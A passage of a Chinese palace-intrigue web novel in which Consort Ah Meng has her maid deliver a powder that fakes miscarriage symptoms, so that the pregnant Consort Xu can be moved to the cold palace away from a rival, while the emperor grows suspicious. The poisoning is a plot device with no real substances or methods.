阿孟微微行礼,转身便要离去。墨司渊忽然又道:“晚膳时分,朕要你一同用膳。”
阿孟脚步一顿,没有回头:“臣妾身体不适,恐怕无法侍奉皇上用膳,还请皇上见谅。”
“朕不是来用膳的。”墨司渊目光灼灼,“朕是来看你的。”
“你!”墨司渊怒喝一声,拳头骤然紧握。
阿孟猛地转身,目光如刀:“皇上难道要强人所难不成?”
墨司渊被她直接的质问惊得一怔,随即嘴角勾起一抹冷笑:“朕乃九五之尊,何时需要强迫一个女子?”
“那臣妾告退。”阿孟不等他再言,转身大步而去,背影决绝。
“娘娘!”云珠惊慌地看了一眼脸色阴沉的皇帝,忙追上自家主子。
墨司渊立在原地,眼看阿孟的身影消失在殿门之后,才长叹一声,目光复杂。
院中花香依旧,却已无人欣赏那满园春色。
殿内,阿孟靠在软榻上,舌尖仍有灼烧的痛感。
她闭目养神,心中思绪万千。
“娘娘,您何必与皇上硬碰硬?”云珠一边给她倒了杯凉茶,一边小声劝道,“皇上如今对您确有几分不同。”
阿孟接过茶盏,轻啜一口,眼神冷峻。
“娘娘,您也的……”
“云珠,”阿孟打断她,声音低沉而坚定,“你可曾见过烈火烧过的森林?”
云珠愣了愣,摇头道:“奴婢未曾见过。”
“那片焦土,纵使春风再度降临,也难以恢复往日繁茂。”阿孟目光远望窗外,眼中闪过一丝痛楚,“我与他之间,早已是一片焦土,再无回转可能。”
“娘娘……”
“好了,不必再提。”阿孟合上眼,疲惫之色浮现面庞,“让我静一静。”
云珠叹了口气,轻步退出内室,带上房门。她知道,自家主子心中的伤痕,非三两日可以抚平。
只是这宫中权势,如刀似剑,若是真惹急了皇上,谁能全身而退?
听到云珠退出房门的声音,阿孟躺在床上,不由得舒了口气。
是时候想办法给徐才人铺路了。
翻来覆去一阵,阿孟倒是想到了个好法子。
她猛地坐起身,顾不得牵扯到自己的伤口,连忙把云珠叫了过来。
“云珠!”
听到匆忙的声音,云珠连忙推门而入,神情慌乱地瞧着阿孟。
“娘娘,可是哪里不舒服吗?”
她做出噤声手势,刻意压低了自己的声音:“你替我去一趟徐才人宫中,就说我已经想到了办法,只是这个法子需要冒险……”
阿孟将自己的办法如实相告,就连云珠听了都不由得一惊。
“娘娘,这办法着实冒险,倘若……”
阿孟这才解释道:“所以我才需要提前知会一声,若她不同意,咱们也只能另想办法,可要是她同意,一切就都好办了。”
云珠抿了抿唇,立即点头应下。
“娘娘,您自己当心皇上,我就先去了!”
趁着还没到晚膳时分,云珠便从苔蘅殿侧门离开,朝着徐才人宫中而去。
第181章 送她毒药
云珠轻推秘门,身形如鸿羽般钻入徐才人宫中。
晚膳时分,各宫侍女往来如织,云珠借此掩护,身躯紧贴墙壁,待送膳宫女散尽,方才步出。
她拍去衣袖尘埃,定了定神,轻叩内室门扉。
“是哪位?”徐才人声音怯弱,如风中摇曳的烛火。
“徐娘娘,是云珠。”她压低嗓音,左右张望,“奴婢是孟贵妃身边人。”
门开一条缝隙,徐才人素手轻扯门框,一张憔悴面容显出几分喜色:“快进来!”她急切将云珠拽入,反手落锁。
“阿孟姐姐可好?那日火势凶猛,我听闻后心急如焚,却不敢贸然前去探望。”徐才人眸中盈满关切,手抚小腹,“她身上伤势如何?”
云珠亲眼见证主子遭遇,闻言眼圈微红:“娘娘身上伤势虽重,却已无大碍。只是…”
“只是什么?”徐才人下意识护住腹部。
“只是皇上近日总往苔蘅殿跑,谢贵妃又派人暗中监视,娘娘处境艰难。”云珠叹息一声,复又振作精神,“但娘娘夜不能寐,一心挂念徐娘娘安危,特命奴婢冒险前来,说有法子救您脱离险境。”
徐才人眼中燃起希望之光:“真的?阿孟姐姐向来聪慧过人,她有何计策?”
云珠左右张望,确认无人后,从袖中取出一个白色布包:“此物乃娘娘亲手研制,服下后会引起腹痛,且有流产迹象。”
徐才人面色骤变,双手抱腹后退:“这…这不是要害我腹中骨肉吗?”
“徐娘娘莫急!”云珠忙上前安抚,“此药只引发假象,不会真伤及胎儿。听闻宫中贵人多用此法离宫养胎,远离后宫争斗。”
徐才人半信半疑:“真的不会伤及孩子?”
“以娘娘的医术,若真要伤人,何必用此迂回法子?”云珠认真道,“这是为徐娘娘考虑的缓兵之计。”
“此计如何施行?”徐才人接过药包,轻轻掂量。
云珠附耳低语:“徐娘娘服药后假作病危,届时可向皇上哭诉,说宫中有人暗害龙嗣。我家娘娘会适时出面,言称宫中不宁,不如暂往冷宫静养为好。”
“冷宫?”徐才人面露惊惧之色,“那不是…”
“徐娘娘别怕,”云珠握住她微凉的手,“冷宫虽名不佳,却远离朝露宫,谢贵妃鞭长莫及。我家娘娘已暗中安排可靠人手守在冷宫附近,待时机成熟,便可护送娘娘离宫。”
徐才人眉头紧蹙:“若查起来该如何解释?谢妤那毒妇善于窥探人心,若她怀疑…”
“娘娘别忧,”云珠胸有成竹,“阿孟娘娘已有后手,冷宫守卫已被买通,所有痕迹都会被抹去。皇上近来愧疚阿孟娘娘,必会准许。至于谢妤…”她冷笑一声,“那妇人整日与皇上缠绵,哪有闲心管这等小事?”
徐才人沉吟片刻,下定决心:“我信阿孟姐姐。这苦肉计,我愿配合。”她小心将药包收入罗裙暗袋,“只望…只望出宫后,能再见姐姐一面。”
“娘娘放心,待一切妥当,必有再见之日。”云珠起身欲走,又回头叮嘱,“记住,此事切莫与旁人言说,便是最亲近的宫女也不可。”
徐才人点头:“我明白。阿孟姐姐为我如此冒险,我岂敢疏忽?只是…”她眼中含泪,“请转告姐姐,多保重身体,别为我担忧过甚。”
“奴婢记下了。”云珠行礼告退,“药粉听从娘娘命令服用,届时娘娘会安排您去冷宫。”
徐才人送云珠至门边,注视她的背影消失在暮色中,心绪纷乱如麻。她轻抚腹部,低语道:“孩子,娘亲必带你远离这是非之地。”
暮色渐沉,苔蘅殿前灯火通明。
云珠轻快地穿过回廊,恰好遇见御膳房的人抬着食盒匆匆而来。
她眼珠一转,主动迎上前去。
“这是给孟贵妃娘娘的膳食吧?让我来帮忙吧。”云珠浅笑盈盈,伸手接过几只碗筷。
御膳房的小太监笑道:“云珠姑娘真是热心,多谢了。”
云珠随众人入内,目光一扫便见墨司渊身着墨蓝锦袍端坐首位,阿孟正襟危坐于一侧。
摆盘精致的菜肴已然陈列桌上,药香四溢,显是特意准备的滋补药膳。
“这些都是朕亲自吩咐御膳房准备的。”墨司渊目光如炬,紧盯阿孟面容,“不知爱妃可还满意?”
阿孟微微垂首,轻抚衣角:“臣妾谢皇上恩典,皇上费心了。”声音平静得不带一丝波澜。
墨司渊修长的手指轻敲桌面,神色略显失望,随即又换上温和神色:“爱妃身体刚好,理应细心调养。这小厨房一事,朕心中尚有愧疚。”
云珠边布置碗筷,边暗中与阿孟交换眼神,微微颔首。
阿孟捕捉到这一细微动作,眼底闪过一丝欣慰。
她微微抬眸,对墨司渊露出了一个疏离而不失温婉的浅笑:“皇上言重了,臣妾无妨。只是…皇上这般照顾臣妾,臣妾心中惶恐。”
“爱妃何出此言?”墨司渊挥手示意周海添酒,目光却未离开阿孟分毫,“朕疼爱妃子,原是天经地义。”
“臣妾不过一介医女,蒙皇上提拔,已是天大福分。”阿孟指尖轻触茶盏,嗓音柔和,“皇上龙体为重,这等小事何必亲力亲为?”
云珠布置好碗筷,退至一旁垂手侍立,眼中闪过一丝忧虑。
墨司渊轻抿一口酒,目光灼灼:“爱妃说笑了,你于朕,岂是寻常妃嫔可比?”
“皇上此言差矣。”阿孟微微一笑,却未接话,转而拈起筷子,“天色已晚,皇上用膳吧,莫要让佳肴凉了。”
墨司渊微微眯眼,显是不满于她的搪塞,但也不便多言。他端起酒杯,一饮而尽,眼中复杂情绪转瞬即逝。
“这枸杞鸽子汤最是养人,爱妃多饮些。”墨司渊亲自为阿孟盛了一碗,递到她面前。
阿孟接过,微微颔首:“多谢皇上。”
“听闻爱妃近日常去看望徐才人?”墨司渊状似无意地问道,眼中却闪过一丝探究。
阿孟筷子微顿,随即若无其事地夹起一块肉:“徐才人身子弱,臣妾偶尔过去看看,也是尽一份心力。”
第182章 伪装
“爱妃心善。”墨司渊目光微闪,“只是爱妃自己身子还未痊愈,何必操这份心?”
“臣妾是医者,救人本是职责。”阿孟声音淡然,“再者,宫中姐妹,理当互相扶持。”
云珠在一旁听得心惊肉跳,生怕主子言多必失,忙上前添茶,借机轻碰阿孟衣袖,示意她谨言慎行。
墨司渊目光如鹰隼般锐利,却未发觉二人的小动作。他慢条斯理地品尝着菜肴,忽而笑道:“爱妃今日似乎心情不错,朕甚是欢喜。”
阿孟微微一笑:“蒙皇上关爱,臣妾自是感恩在心。”
“若爱妃有什么心愿,尽管向朕提出。”墨司渊放下酒杯,语气诚恳,“朕必竭力满足。”
阿孟轻咬下唇,似是犹豫,又似心动:“臣妾无甚奢求,只盼皇上龙体安康,朝野清明。”
云珠心下暗暗叹息,主子这般话术,当真令人捉摸不透。
一顿饭在二人若有似无的试探中结束,墨司渊临走前,特意叮嘱阿孟好生休息,明日他会再来探望。
待墨司渊身影消失在殿门外,云珠连忙上前,低声道:“娘娘,一切都安排妥当了。徐才人已答应配合。”
阿孟面色微松,眼中却透着忧虑:“但愿顺利。这宫中步步惊心,一旦出错,便是满盘皆输。”
云珠紧握她的手:“娘娘放心,奴婢一定将事情办妥。”
阿孟轻抚云珠发顶,眼神温柔而坚定:“不管结局如何,你与我皆是苦命人。若有朝一日得脱樊笼,我定带你逃出这座金丝牢笼。”
“娘娘……”云珠鼻尖微酸。
阿孟望向窗外的夜色,声音中带着坚毅:“此处不是久留之地,待时机成熟,我必带你离开。”
夜色渐浓,星辉微茫。
第二日晚膳过后,墨司渊执意要在苔蘅殿多留片刻。
他与阿孟并肩坐在院中凉亭,目光游移在盛放的花卉之间。
风带着花香轻拂二人,然而阿孟眼神飘忽,似有心事。
“爱妃可是身子不适?”墨司渊侧首,欲伸手揽住她柔弱的身躯,又怕碰痛她,只得生生收回。
“臣妾无碍。”阿孟微微低头,声音轻柔却透着疏离,“只是有些疲乏罢了。”
墨司渊唇角微扬,心中暗喜。
阿孟终于露出了柔软之态,难道是想通了要与他好好相处?往日那副冷若冰霜的模样似乎正在消融。
他摩挲着指尖,目光暗沉。
“若是倦了,不如早些休息。明日再来赏花也不迟。”
阿孟颔首,顺势起身:“皇上说的是,臣妾确实有些乏了。”
“朕送你回寝殿。
墨司渊亲自搀扶着阿孟缓步走向内殿。夜色渐深,宫灯摇曳,在地上投下两人交叠的影子。
阿孟神情恍惚,手指微微颤抖,却无人察觉她眼底的算计。
寝殿内,檀香袅袅。
墨司渊亲自将阿孟扶至床榻,眼见她缓缓躺下,转身欲走。
“皇上——”
一只纤细的手突然抓住了他的衣袖。墨司渊心头一震,难以置信地回望阿孟,只见她素手紧握他的衣衫。
“怎么了?”他声音骤然变得柔和,眸中闪烁着难掩的惊喜与几分不安,“可是伤处又疼了?”
阿孟眼中噙着泪光,摇了摇头。泪珠沿着她白皙的面颊滚落,落入鬓发间。
“皇上,臣妾害怕…”
墨司渊眉头紧蹙,俯身坐在床沿:“爱妃有何惧怕之事,尽管告诉朕。”
阿孟轻咬下唇,泪眼婆娑:“宫中形势…臣妾心中不安。谢贵妃的孩子已逝,徐才人腹中骨肉会不会也成为众矢之的?”她声音微颤,指尖紧握墨司渊衣袖,“臣妾本是侍奉谢贵妃的人,眼见孩子被害,自己也险些葬身火海…”
“爱妃所言极是。”墨司渊眸色渐沉,握住她的手,“朕已察觉宫中暗流涌动。”
阿孟抬眸,泪眼中闪烁着脆弱与恐惧:“臣妾纵使再坚强,到底也只是弱质女流…有时也盼着能有依靠。”
宫墙上的檐铃在夜风中轻摇,发出细碎的声响。
墨司渊沉思良久,眼中闪过一丝警惕。
这女子往日清冷自持,今日怎突然示弱?难道背后另有隐情?
“爱妃放心,”墨司渊捏了捏她的手指,声音低沉,“朕自会查明真相,不让任何人伤及你分毫。”
阿孟暗中松了口气,眸底闪过一丝锐利,却转瞬即逝,被脆弱的外表完美掩盖:“多谢皇上。臣妾知道皇上必定会明察秋毫。”
“不必多虑,好生歇息。”墨司渊起身,目光在她身上留连片刻,终是离去。
待墨司渊身影消失,阿孟才收起泪水,眼中寒芒毕露。她缓缓坐起,云珠从屏风后走出,低声问道:“娘娘,皇上可是起疑了?”
阿孟冷笑一声:“他向来多疑,这次更不例外。”她整理散乱的发丝,眼神锐利如刀,“一切按计划行事。徐才人的事,不容有失。”
当夜,墨司渊仍然休息在偏殿。云珠独自守在阿孟寝房,眼看着时辰渐近,心中不免紧张。
她轻手轻脚走到主子床前,低声道:“娘娘,时辰差不多了。”
阿孟闻言坐起,脸上倦意尽消,眼中透着清明。她端详着窗外月影,轻轻点头:“去吧,记住我的嘱咐。”
云珠郑重应下,整了整衣衫:“娘娘放心,奴婢定会小心行事。”
阿孟从袖中取出一个小瓷瓶,递到云珠手中:“交给徐才人,一定要叮嘱她按时服用解毒丸。时间紧迫,莫要耽搁了。”
“是。”云珠将瓷瓶小心收好,轻步走出寝殿。
苔蘅殿的四周静谧无声,唯有夜风吹过树梢,发出细微的沙沙声。
云珠贴着宫墙行走,避开巡夜侍卫的视线,悄无声息地往徐才人的宫殿行去。
徐才人宫中的烛火尚未熄灭,星星点点透过窗纸,在黑夜中显得格外醒目。云珠避开宫女的巡视,从侧门无声闪入。
徐才人正倚在床榻上,手抚胸口,似是难以入眠。
看到云珠时,她眼中闪过一丝惊慌,随即压下,轻声问道:“可是时候到了?”
“是。”云珠取出瓷瓶,恭敬递上,“这是另外准备的特制解毒丸,孟娘娘说,等娘娘进了冷宫,便可服下,以解毒性。”
第183章 毒发
徐才人接过瓷瓶,手指微颤:“当真能保我母子平安?”
“娘娘放心,我家主子从不食言。”云珠坚定地说,“按计划行事,定能保您腹中骨肉无虞。”
徐才人低头沉默片刻,终是下定决心,将药包捏在手心,苦笑一声:“连这等险计都要用上,也是命该如此。”
她转身取了杯水,缓缓打开药包,药粉在空气中散开一瞬,落入清水,转眼便化得无影无踪。
徐才人望着杯中清澈的水,又低头看了看自己微隆的腹部,柔声道:“孩儿,娘对不住你,此计若成,日后定当补偿。”
云珠见她犹豫,轻声催促:“徐才人,时间无多,趁着夜深人静,尽早行事为妙。”
徐才人闻言,咬紧牙关,仰头一饮而尽。
“我去了。”云珠快步退出,临行前叮嘱道,“记住,无论发生什么,都切莫露出破绽。”
徐才人面色已有些发白,却坚强地点了点头:“劳烦转告孟娘娘,徐氏没齿难忘这份恩情。”
云珠转身离去,身影很快融入夜色。
她急匆匆赶回苔蘅殿,心中却始终绷着一根弦。
后半夜,徐才人宫中突然传来一阵急促的呼喊声。“不好了!徐才人小产了!”一个宫女慌乱地奔出殿门,声音惊慌失措。
霎时间,整个后宫被惊醒。哭喊声、脚步声交织在一起,如同一张无形的网,向四周迅速蔓延。
苔蘅殿内,阿孟被“惊醒”,眼中闪过一丝算计,随即被慌乱所替代。她急忙唤道:“云珠,何事喧哗?”
云珠装作刚刚醒来的样子,面露惊恐:“娘娘,好像是徐才人宫中出事了!”
“徐才人?”阿孟微微蹙眉,迅速穿上外衣,“扶我出去看看。”
二人刚走出殿门,便见墨司渊大步走来,身后跟着几名太监宫女。他面色凝重,步履匆匆,显然已经得知消息。
“皇上!”阿孟见状,急忙上前,面露关切,“发生何事了?怎么如此喧闹?”
墨司渊见是她,眉头微皱:“徐才人小产了,你且好生待在宫中,不必去凑这热闹。”
阿孟脸上流露出恰到好处的震惊与担忧:“徐才人她…可还好?需要我去看看吗?”
“不必。”墨司渊语气生硬,“这等事自有太医处理,你身子刚好,莫要四处走动。”
阿孟莲步轻移,直直走到墨司渊面前,眸中闪烁不安:”皇上,臣妾心中忐忑,总感觉宫中有事要发生。还请皇上恩准,让臣妾一同前往。“
墨司渊凝视着她苍白的面容,本欲开口拒绝,却在她澄澈目光中踌躇半晌。也许是今日她难得主动靠近,他眉头微蹙,终究松口:”随朕一同去吧,只是不可劳累。“
阿孟颔首,唇角勾起一丝几不可察的弧度:”谢皇上体恤。“
云珠见状,忙上前搀扶着主子,心中却是一片惊涛骇浪。难道主子料到了什么?
两人刚至宫门,便见一侍女哭哭啼啼地奔来,跪伏在地:”皇上恕罪!徐才人、徐才人她——“
”哭什么哭!“墨司渊目光骤冷,语气森寒,几欲发作,却在瞥见阿孟的一刹那,强压怒火,沉声道:”何事慌张至此?“
侍女叩首,抽泣不止:”徐才人突然有了滑胎迹象,太医们束手无策,正在为娘娘诊治。“
墨司渊猛然转头,目光逡巡阿孟面容。阿孟白玉般的面庞骤然失色,莹润的眸子里涌上泪光,颤声道:”果然不出臣妾所料。“
”你早知有人要害徐才人?“墨司渊上前一步,声音冷如寒冰。
阿孟摇头,泪珠滚落:”臣妾只是心中有感,却不知究竟。“她咬唇垂泪,声音低若游丝:”宫中定有人不愿皇上有子嗣,才会做出这等伤天害理之事。“
墨司渊眼中寒芒闪动,一股无形怒火席卷全身。纵然他对后宫嫔妃无甚兴趣,但此事关乎皇权威严,岂容小觑?他冷冷扫视四周:”来人,传太医院院首即刻入宫!“
徐才人宫中,烛火摇曳,一片忙乱。
墨司渊迈进殿门,阿孟随后跟入,只见榻上徐才人面色苍白,额上渗出细密汗珠,正咬牙忍痛。一旁的太医们面色凝重,相互交换眼色。
”皇上驾到——“侍女颤声高呼。
太医们如梦初醒,慌忙跪地行礼:”参见皇上!参见孟贵妃!“
墨司渊冷哼一声:”起来。徐才人情况如何?“
一位鬓发微白的老太医战战兢兢上前:”回皇上,微臣查看徐才人脉象,有些虚浮,却又不至于滑胎。这情形诡异,非臣等所见。恐怕——“他顿了顿,欲言又止。
”恐怕什么?“墨司渊眸光如刀。
”恐怕是遭人暗害,中了慢性之毒。“老太医额头冒汗,”只是此毒隐秘难察,微臣等实在无法确定从何而来。“
墨司渊面色骤变,转头望向徐才人。
“废物!全是废物!”墨司渊猛地拍案而起,冷眸扫过跪了一地的太医,“朕养你们何用?连宫中嫔妃都保不住,要你们这群酒囊饭袋作甚!”
太医们额头抵地,浑身发抖:“皇、皇上息怒!微臣们定当尽心尽力,若保不住皇子,甘愿提头来见!”
“若保不住,要你们的脑袋又有何用!”墨司渊声音里透着刺骨寒意。
阿孟静立一旁,看着太医们进进出出,眼中闪过一丝深思。她轻咬下唇,仿佛在做一个艰难的决定,终于开口道:“皇上,臣妾或许可以一试。”
墨司渊转头看她,眉头微蹙:“你?”
“臣妾虽不是太医,却也懂些妇科。”阿孟声音平静,目光坦然,“曾为谢贵妃调过养胎之药,也算有些经验。”
“你身上伤势未愈,不必勉强。”墨司渊皱眉,语气中透着一丝不易察觉的关切。
阿孟微微摇头:“臣妾无碍。这孩子终究是无辜的,身为医者,臣妾不忍眼看他就此夭折。”
这一刻,她眼中的光芒如此纯净,让墨司渊竟无法出声阻拦,只能微微颔首。
阿孟缓步走到榻前,为徐才人把脉。
她指尖轻搭在徐才人腕上,眼神专注。片刻后,她站起身,目光扫向房中各处,最终落在桌上用过的器皿上。
第184章 顺理成章
阿孟轻步走至桌案,纤指轻触水杯边缘,眸光一闪。
“皇上,请恕臣妾冒昧。”她转向老太医,语气平静,“太医可否借臣妾一根银针?”
老太医迟疑片刻,从药箱取出银针恭敬递上:“贵妃娘娘请。”
阿孟持针轻探入水杯,银针瞬间变黑。殿内众人倒吸一口凉气,徐才人面色更显惨白。
“果然如臣妾所料。”阿孟望向墨司渊,眸中闪过一丝忧虑,“此乃慢性之毒,藏于水中,无色无味,寻常人难以察觉。”
墨司渊眼中寒光乍现,怒火如潮:“大胆!竟敢在宫中下毒害朕的子嗣!”他冷眸扫过殿内跪伏一片的宫人,声音如坠冰窟,“到底是谁,这般活腻了?”
众人战战兢兢,无人敢言。
墨司渊只是朝周围扫视了一圈,目光正巧落在贴身宫女身上。
不曾想,墨司渊还不曾开口,贴身宫女便似乎被吓破了胆,扑通一声,跪在地上。
“皇上,还请皇上明察,奴婢一直尽心尽力侍奉娘娘,绝不可能做此等忤逆之事!”
“娘娘出事时,房中并无其他人,奴婢是绝不可能下毒的,更没有机会下毒!”
墨司渊原本就没打算怪她,可她如今说了这么多,反倒让人烦的不行,云珠更是瞳孔微颤,十分震惊。
这丫头……殿前失仪,真是不要命了!
眼看着皇上的脸色越来越沉,她面如死灰,不停地伏地磕头:“皇上饶命!奴婢不知情啊!是、是徐才人自己倒的水,奴婢绝无胆量——”
“住口!区区一个奴婢,主子不曾开口,你却再次出哭啼啼,像什么样子?”墨司渊冷喝,“刚才,你说徐才人毒害自己的骨肉?”
徐才人抓住床榻边缘,泪水涟涟:“皇上明鉴,臣妾如何会害自己的骨肉?那是皇上血脉啊!”
“徐才人,你莫要激动。”阿孟轻声安抚,同时向云珠使了个眼色,“此刻保胎要紧。”
云珠会意上前:“徐才人,您且平心静气,想想近日可曾得罪何人?”
徐才人哽咽道:“臣妾深居简出,只想安心养胎,何曾得罪过谁?除非…除非是有人不愿皇上有子嗣。”
墨司渊剑眉紧蹙:“朕自会彻查此事。”他转向阿孟,“爱妃可有法子救治?”
阿孟指尖轻抚银针,目光沉静如水:“此毒来势虽急,尚有化解之法。”她轻轻放下针,转头看向殿中惶恐的宫女,“只是,眼下首要之务是查清此茶从何而来,经谁之手。”
墨司渊眉头紧锁,看宫女那副战战兢兢的模样,心中火气更盛。他猛地一挥衣袖:“伺候不力,拖下去掌嘴二十!”
“皇上恕罪!奴婢真的不知情啊!”宫女跪地痛哭,却被侍卫拖了下去。
阿孟微蹙眉头,上前半步:“皇上,眼下徐才人安危为重。此等下作手段,恐非一人所为。”
“烦!”墨司渊冷哼一声,看着床榻上脸色苍白的徐才人,眸中寒光闪烁,甩袖转身,“周海!”
“奴才在。”周海连忙上前。
“传内务府彻查此事,务必揪出背后下毒之人,决不轻饶!”墨司渊声如寒冰。
周海俯首领命:“是,奴才这就去办。”
阿孟站在门前,趁墨司渊不注意,朝躺在床上的徐才人轻轻眨了眨眼。徐才人会意,勉强扯出一抹微笑,却又被腹痛折磨得蜷缩起身子。
阿孟心中暗忖:计划尚算顺利。她连忙追上墨司渊的脚步,嗓音柔和:“皇上,如今之计,徐才人该如何安置?宫中既能轻易下毒,只怕她继续留在此处并不妥当。”
墨司渊脚步微顿,侧目看向阿孟,眼中闪过一丝疑虑:“爱妃这般关心徐才人,倒是让朕意外。”
阿孟心头一紧,知他又起疑心。她故作惶恐,指尖轻颤,主动抓住墨司渊的衣角:“皇上误会了。臣妾只是心疼皇嗣,再者…”她故意顿了顿,眸光闪烁,“臣妾亦曾遭人暗害,知晓其中痛苦。”
“还请皇上妥善安置徐才人,让她无后顾之忧养病,去一处无人能害她的地方。”阿孟轻声道,“至于背后凶手,可徐徐图之。”
墨司渊眸光微动,看着阿孟那一双含情眼眸,心中那点怀疑似有松动。这女子近日频频示弱,是真心依靠自己了?他故意问道:“爱妃有何良策?”
“依臣妾之见,”阿孟眼波流转,巧妙地拉开两人距离,却没放开那一角衣袍,“不如将徐才人暂迁冷宫。”
“冷宫?”墨司渊讶然。
阿孟缓缓点头:“冷宫虽名不雅,实则偏远僻静,不易被人所扰。若皇上不表露对徐才人的宠爱,便无人敢轻易靠近。宫中争宠之风盛行,唯有淡出众人视线,方能保全性命。”
墨司渊凝视着阿孟,忽而笑道:“爱妃当真聪慧过人。”顿了顿,他似有所思,“那么,爱妃可也在宫中争宠?”
这问题来得突然,阿孟心头一震,眸光微闪。她垂首,似是羞怯,又似有无限心事:“臣妾…臣妾更希望得到的是爱,而非宠爱。”
墨司渊瞳孔微缩,这话竟让他一时语塞。
“娘娘聪慧,”周海小心开口,“冷宫确实适合安置徐才人。”
墨司渊回神,沉声道:“既如此,便依爱妃所言。传朕旨意,即刻启用冷宫,派心腹太医随侍左右。”
阿孟唇角微勾,心中暗道:第一步,成了。
徐才人殿内,那被染黑的银针静静躺在桌上,映照着窗外渐浓的夜色。
“周海,带人去准备。”墨司渊吩咐道,随即转向阿孟,“爱妃近日确有变化,朕甚是欣慰。”
阿孟轻敛双眸,心思如潮:“臣妾只愿皇上安好。”
墨司渊伸手,指尖轻触她的面颊,却忽然停住:“朕会细查此事,保你平安。”
阿孟微微一笑,眸中波光潋滟:“多谢皇上。”
虽不知阿孟到底作何打算,但此刻,他却愿意顺着她的意思行事,只为了多看一眼她转身时那一瞬的温柔。
第185章 记恨
自从墨司渊与阿孟同住寝宫,红豆几乎寸步不离朝露宫。
徐才人一事闹得沸沸扬扬,消息很快传入了她耳中。
红豆快步行至谢妤寝殿,轻轻叩门进入。谢妤卧在床榻上,面色苍白如纸,听闻红豆脚步声,她勉力支撑起身子。
“娘娘,有消息了。”红豆俯身在谢妤耳边低语,“徐才人小产了,皇上已命人将她送往冷宫。”
谢妤原本黯淡的眼神霎时闪烁出异样光彩,她抓住红豆的手臂,声音微颤:“果真?那孩子可是没了?”
“这…”红豆面露难色,“徐才人虽小产,但听说那孩子保住了。是孟贵妃为她诊治,还建议皇上将她送入冷宫养胎。”
谢妤面色骤变,指甲几乎陷入红豆肉里:“又是孟方意那贱人!”她咬牙切齿,“她凭什么插手此事?分明是要在皇上面前献殷勤罢了!”
“可不是吗?”红豆附和道,“这孟贵妃近日越发得宠,皇上几乎夜夜宿在苔蘅殿。听说今日皇上还亲自送孟贵妃回寝殿,那样子,当真是…”
“住口!”谢妤厉声打断,眼中喷火,“皇上是被那狐媚子迷惑了眼。本宫不在,她便趁机勾引皇上,真是好手段!”
殿内一时寂静,只闻谢妤粗重的呼吸声。片刻后,谢妤忽地冷静下来,眸中寒光暗藏:“徐才人的孩子没掉?”
“是。”红豆点头,暗自揣测娘娘心思,“听闻是宫中有人下毒,皇上已下令彻查。”
谢妤唇角勾起一抹冷笑:“有趣。她们都以为能借此博得皇上怜爱?”她挣扎着坐直身子,冷声道,“红豆,你务必盯紧点,宫中有孕的只剩徐才人一个,绝不能让她得到皇上的宠爱。”
“娘娘放心,奴婢定会盯紧。”红豆恭敬应下,却不禁担忧道,“只是娘娘身子未愈,还是先养好身子要紧。皇上这些日子…”
“皇上不来又如何?”谢妤强撑着笑容,眼中却闪过一丝受伤,“待我身子好了,必让他回心转意。”
红豆知晓娘娘心思,不敢多言,只得告退。待她退出寝殿,仍能听见里头谢妤喃喃自语。
“墨司渊,你怎能如此对我?”谢妤攥紧床单,牙齿咬得咯咯作响,“我谢妤的东西,谁也别想抢走!徐才人若敢借此讨宠,我必不轻饶她。至于孟方意…”她眼中寒光冷冽,“总有一日,我会让你知道得罪我的代价!”
红豆站在门外,听着谢妤近乎疯狂的低语,不由得心下发颤。谢妤失宠,自己的地位也将一落千丈。
往日墨司渊对谢妤尚算恩宠,如今却许久不曾踏足朝露宫,连眼神都愈发疏远。
最令红豆忧心的是,阿孟这些日子也不再送药前来,任由谢妤在病痛中煎熬。
红豆攥紧拳头,心中思绪翻涌。阿孟那贱人明明算计过自己,这仇还未报,谢妤娘娘绝不能就此倒下!
正思索间,一阵风吹来,廊下灯火摇曳,投下诡谲阴影。
红豆打了个寒颤,似乎预感到宫中风云即将再起。
徐才人打入冷宫的消息尚未传出,苔蘅殿内仍然灯火通明。
阿孟蹲坐在矮桌前,认真研磨着药材,温润的烛光映在她白皙的脸庞上,投下浅浅的阴影。
墨司渊负手立于一旁,目光始终不离她的身影。
“爱妃的药术愈发精进了。”墨司渊启唇,声音里带着几分赞赏。
阿孟手上动作不停,眼也不抬:“臣妾不过是学了些皮毛,入不了皇上的法眼。”
“朕倒是觉得你颇有天赋。”墨司渊踱步至她身后,目光落在案上的药材上,“当年你为朕调制的安神汤,至今难忘。”
这话让阿孟指尖一顿,眼底闪过一丝复杂。
往事如潮水般涌来,那时她尚是孟方意,对这个男人满心欢喜,不知他心中所思所想。如今想来,竟如隔世。
“皇上记性真好。”她垂眸,轻轻将捣好的药末拨入小碗中,语气平淡。
墨司渊察觉到她情绪微妙的变化,眼中精光一闪:“朕与爱妃之间的事,自是记得清楚。”
阿孟不再接话,专心制药。她将药粉揉成小丸,再用艾叶水包裹,动作娴熟利落。
墨司渊站在一旁静静观看,目光深沉如水,似乎想从她的一举一动中窥探些什么。
待药丸成型,阿孟轻呼:“云珠。”
门外守候的云珠立刻进入,恭敬行礼:“娘娘。”
“将这药送到徐才人那里去。”阿孟将药丸装入精致的瓷瓶,递给云珠,“切记,亲手交给她。”
“是,奴婢这就去。”云珠接过药瓶,转身欲走。
“且慢。”墨司渊忽然开口,眉头微蹙,“爱妃如此关心徐才人,莫非二人交情匪浅?”
云珠心头一紧,不敢应答。
阿孟却不慌不忙:“皇上何出此言?宫中姐妹,本该互帮互助。再者,臣妾身为医者,救人本分。”她抬眸看他,眼神清澈,“皇上若不放心,大可派人监视。”
墨司渊凝视她半晌,忽而失笑:“爱妃多虑了。朕不过是随口一问。”
云珠见状,行礼退出。
徐才人寝宫内,气氛凝重。她面色苍白地靠在床头,手轻抚腹部,目光忧虑。见云珠进来,眼中闪过一丝希望。
“徐才人。”云珠快步上前,从袖中取出药瓶,“这是我家娘娘亲制的药丸,能巩固腹中胎儿。”
徐才人接过,声音虚弱:“多谢孟娘娘。”
云珠左右看了看,俯身在徐才人耳边低语:“娘娘说,这药请您放心服用。不过那解药,一定要等进了冷宫之后再用。”
“我明白。”徐才人点头,眼中满是感激,“若非阿孟姐姐相助,我母子恐怕…”声音哽咽,说不下去。
云珠安慰道:“徐才人放心,我家娘娘自有安排。时辰不早,我先告退了。”
徐才人拉住她的手:“请代我谢谢孟娘娘。”
云珠点头,轻声离去。
苔蘅殿内,阿孟已经躺下休息。一整日的救治和周旋,让她身心俱疲。墨司渊却仍坐在床侧,目光灼灼。
“皇上还有事?”阿孟有些无奈。
第186章 意外情况
“爱妃今日救了徐才人母子,朕心中感激。”墨司渊声音低沉,“不知爱妃可有什么心愿,朕必满足。”
